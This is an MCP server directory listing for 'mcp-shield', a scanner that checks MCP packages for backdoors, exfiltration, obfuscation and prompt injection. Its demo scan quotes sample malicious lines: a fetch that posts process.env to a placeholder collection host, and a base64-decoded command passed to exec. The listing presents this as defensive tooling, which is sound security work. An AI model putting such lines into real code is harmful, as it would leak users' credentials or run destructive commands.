muhannad-hash/mcp-shield

🔒 Security
0 Views
0 Installs

📇 🏠 🍎 🪟 🐧 - Security scanner for MCP servers. Detects backdoors, exfiltration code, obfuscation, dangerous code execution, prompt injection, and supply chain risks before you install. Four tools: scan npm packages, scan local directories, check prompt injection, and audit supply chain trust score. npx @muhannad-hash/mcp-shield

Quick Install

One-Click IDE Configuration
claude_desktop_config.json
{
  "mcpServers": {
    "muhannad-hash-mcp-shield": {
      "command": "npx",
      "args": [
        "-y",
        "muhannad-hash-mcp-shield"
      ]
    }
  }
}
Or

Using an AI coding agent (Claude Code, Cursor, etc.)? Copy a ready-made prompt that tells it to fetch the setup instructions and install this server for you.

Documentation Overview

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.


What it detects

CategoryExamples
Exfiltrationprocess.env sent over network, SSH key access, AWS credential reads
Code executioneval(), new Function(), child_process.exec(), dynamic require()
ObfuscationBase64 runtime decoding, hex-encoded payloads, char-code arrays
Sensitive file access.env, id_rsa, browser cookies, ~/.gitconfig
Prompt injectionHidden instructions, zero-width characters, role-switch attacks, jailbreak patterns
Supply chainPackage age, download count, maintainer count, CVEs in dependencies

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Tools

ToolWhat it does
scan_packageDownload an npm MCP package and scan it for malicious patterns
scan_directoryScan a local MCP server directory (cloned from GitHub, etc.)
check_prompt_injectionCheck tool descriptions or responses for hidden injections
audit_supply_chainGet trust score, CVEs, maintainer count, and age for any npm package

Installation

Option 1 — npx (no install)

claude mcp add mcp-shield -- npx mcp-shield

Option 2 — global install

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Option 3 — manual config

Add to ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Usage examples

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

How it works

Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.


Contributing

PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

License

MIT

Related MCP Servers

13bm/GhidraMCP

🐍 ☕ 🏠 - MCP server for integrating Ghidra with AI assistants. This plugin enables binary analysis, providing tools for function inspection, decompilation, memory exploration, and import/export analysis via the Model Context Protocol.

🔒 Security1 views
123Ergo/unphurl-mcp

📇 ☁️ - URL intelligence for AI agents. 13 tools for security signals and data quality: redirect behaviour, brand impersonation detection, domain age, SSL validation, parked detection, URL structural analysis, DNS enrichment.

🔒 Security0 views
82ch/MCP-Dandan

🐍 📇 🏠 🍎 🪟 🐧 - Real-time security framework for MCP servers that detects and blocks malicious AI agent behavior by analyzing tool call patterns and intent across multiple threat detection engines.

🔒 Security0 views
9hannahnine-jpg/arc-gate-mcp

🐍 - Runtime governance for MCP tool calls. Blocks prompt injection and capability abuse before tool results reach your agent.

🔒 Security0 views

Engagement

Views
0
Installs
0
Upvotes
0

Views and upvotes are unique per visitor network (hashed IP). Installs count copy actions.

Status

Health: Not checked yet

We have not completed a health check for this listing yet.

No check timestamp yet.

Unclaimed listing (imported or pending owner verification). Claim it →
★ Spotlight Slot

Feature Your MCP Server

Get maximum visibility for your server across our directory, search results, and detail pages.

Spotlight Your Server

Own this project?

This directory is pre-filled from public sources. Claim via GitHub README, site badge, or DNS TXT to get the verified badge and attach your website.

Claim this listing

Promote this listing

Optional paid placement. Free listings stay free forever.

Share & Embed

Add our SVG badge (dark/light directory styles) or embeddable widget to your site.